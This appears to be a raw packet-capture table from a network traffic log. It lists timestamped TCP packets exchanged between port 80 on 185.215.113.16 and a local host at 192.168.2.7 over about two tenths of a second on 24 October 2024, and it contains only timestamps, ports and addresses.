Oct 24, 2024 04:01:48.264736891 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.264858007 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.264870882 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.264882088 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.264894962 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.264906883 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.264918089 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.264924049 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.264924049 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.264936924 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.264964104 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.264964104 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.264993906 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.265007019 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.265017986 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.265036106 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.265047073 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.265058041 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.265069008 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.265069008 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.265070915 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.265084028 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.265091896 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.265095949 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.265109062 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.265119076 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.265139103 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.265139103 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.269846916 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.269857883 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.269867897 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.269896984 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.269968033 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.340315104 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340327978 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340344906 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340362072 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340373039 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340384960 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340398073 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340409040 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340409994 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.340409994 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.340421915 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340435982 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.340455055 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.340569019 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340580940 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340590954 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340610027 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.340636015 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340637922 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.340651035 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340672970 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340774059 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.340792894 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340804100 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340816021 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340828896 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340864897 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.340864897 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.340935946 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340949059 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340960026 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340971947 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340981960 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340992928 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.340998888 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.340998888 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341005087 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341016054 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341027021 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341034889 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341034889 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341042995 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341056108 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341063023 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341068029 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341080904 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341090918 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341101885 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341101885 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341114998 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341126919 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341150999 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341150999 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341165066 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341245890 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341258049 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341269016 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341291904 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341322899 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341335058 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341345072 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341356039 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341370106 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341381073 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341391087 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341391087 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341392040 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341408014 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341419935 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341429949 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341429949 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341432095 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341444969 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341466904 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341478109 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341481924 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341481924 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341490030 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341500044 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341541052 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341552019 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341552973 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341567039 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341583014 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341594934 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341599941 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341612101 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341641903 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341641903 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341681004 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341691971 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341703892 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341715097 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341742992 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341742992 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341787100 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341799021 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341809988 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341820955 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341831923 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341841936 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341849089 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341849089 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341855049 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341867924 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341888905 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341893911 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341893911 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341901064 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341914892 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341939926 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341949940 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341952085 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341952085 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.341965914 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341976881 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.341985941 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342010975 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342010975 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342073917 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342087030 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342106104 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342116117 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342127085 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342138052 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342138052 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342139006 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342152119 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342164040 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342175007 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342175961 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342187881 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342200041 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342211008 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342220068 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342220068 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342235088 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342395067 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342396021 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342406988 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342418909 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342454910 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342454910 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342454910 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342468977 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342480898 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342492104 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342524052 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342524052 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342556953 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342562914 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342576027 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342586994 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342602968 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342614889 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342621088 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342626095 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342638016 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342648983 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342660904 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342670918 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342674017 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342674971 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342684031 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342694998 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342711926 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342711926 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342746019 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342750072 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342761993 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342772961 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342792988 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342796087 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342796087 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342807055 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342817068 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342828035 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342839003 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342850924 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342854977 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342854977 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342896938 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342911959 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342916012 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342926979 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342937946 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342948914 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342962980 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342962980 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.342964888 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342978001 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.342989922 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343002081 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343014002 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343022108 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.343022108 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.343030930 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343066931 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.343071938 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343084097 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343095064 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343105078 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343117952 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.343117952 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.343118906 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343131065 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343142986 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343153000 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343153954 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.343166113 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343178034 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343192101 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343194008 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.343194008 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.343204021 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343215942 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.343252897 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.343252897 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.343785048 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.382621050 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382637024 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382647991 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382658958 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382669926 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382677078 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.382688999 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382700920 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382713079 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382724047 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382735014 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382746935 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382752895 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.382752895 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.382760048 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382771969 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382781982 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382795095 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382805109 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382814884 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382822037 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.382822037 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.382826090 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382838964 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.382852077 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.382852077 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.382894993 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.386697054 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.386712074 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.386722088 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.386765003 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.457401991 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457439899 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457458973 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457469940 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457485914 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457499981 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.457504034 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457516909 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457521915 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.457529068 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457549095 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457559109 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457566977 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.457571030 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457582951 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.457587957 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457607985 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.457628012 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457633018 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.457638979 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457665920 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457690954 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457700968 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457711935 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457736969 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.457736969 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.457762003 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.457880974 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457894087 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457904100 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457930088 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457942009 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457952023 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457952023 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.457963943 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.457983017 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.458040953 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.458058119 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.458070993 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.458081007 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.458100080 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.458103895 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.458122015 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.458139896 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:48.458142996 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.458158016 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.458168030 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.458179951 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.458190918 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:48.458194971 CEST	49837	80	192.168.2.7	185.215.113.16
